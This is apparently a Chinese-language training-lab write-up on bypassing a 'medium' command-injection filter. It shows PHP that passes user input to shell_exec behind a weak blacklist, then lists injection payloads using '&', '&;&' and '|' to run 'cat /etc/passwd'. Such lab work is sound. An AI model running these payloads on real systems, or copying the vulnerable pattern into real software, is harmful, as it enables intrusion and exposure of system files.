0x01:Medium测试
1.上源码:
Command Injection Source:
<?php
if( isset( $_POST[ 'Submit' ] ) ) {
// Get input
$target = $_REQUEST[ 'ip' ];
// Set blacklist
$substitutions = array(
'&&' => '',
';' => '',
);
// Remove any of the charactars in the array (blacklist).
$target = str_replace( array_keys( $substitutions ), $substitutions, $target );
// Determine OS and execute the ping command.
if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
// Windows
$cmd = shell_exec( 'ping ' . $target );
}
else {
// *nix
$cmd = shell_exec( 'ping -c 4 ' . $target );
}
// Feedback for the end user
echo "<pre>{$cmd}</pre>";
}
?>
如上所示,发现:
1. &&被替换为空 //注意:一个&没被过滤
2. ;被替换为空 //注意:可以构造成&;& 或者&;&
(使用中英文分号绕过,结果回显顺序不一样)
2.攻击演示:
1.非正常输入:127.0.0.1&&cat /etc/passwd //发现不回显,两个命令都不执行了
2.非正常输入:127.0.0.1&cat /etc/passwd //回显成功,但是先显示cat命令后显示ping命令,两个命令都执行了(先显示注入,后显示ping)
3.非正常输入:127.0.0.1&;&cat /etc/passwd //回显成功,同上一条命令一样回显(先显示注入,后显示ping)(中文分号)
4.非正常输入:127.0.0.1&;&cat /etc/passwd //回显成功,但是先ping后cat(先显示ping,后显示注入)(英文分号)
5.非正常输入:127.0.0.1|cat /etc/passwd //没有过滤管道符|(只回显注入的相应结果)